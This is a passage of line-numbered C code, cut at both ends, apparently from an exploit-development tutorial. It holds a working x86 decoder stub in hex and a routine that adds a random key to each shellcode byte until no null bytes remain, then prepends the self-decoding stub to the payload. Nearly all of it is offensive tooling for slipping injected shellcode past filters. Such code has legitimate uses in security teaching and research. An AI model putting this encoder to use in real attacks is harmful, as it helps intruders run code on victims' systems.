45
46
char decoder[] =
47 "\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75"
48 "\xf7\xeb\x05\xe8\xeb\xff\xff\xff";
49
50
int count;
51 int number = getnumber(200);
52 int nullbyte = 0;
53 int ldecoder;
54 int lshellcode = strlen(shellcode);
55 char *result;
56
57
printf("Using the value: %d to encode the shellcode\n",number);
58
59
decoder[6] += lshellcode;
60 decoder[11] += number;
61
62
ldecoder = strlen(decoder);
63
64
do {
65 if(nullbyte == 1) {
66 number = getnumber(10);
67 decoder[11] += number;
68 nullbyte = 0;
69 }
70 for(count=0; count < lshellcode; count++) {
71 shellcode[count] += number;
72 if(shellcode[count] == '\0') {
73 nullbyte = 1;
74 }
75 }
76 } while(nullbyte == 1);
77
78
result = malloc(lshellcode + ldecoder);
79 strcpy(result,decoder);
80 strcat(result,shellcode); ...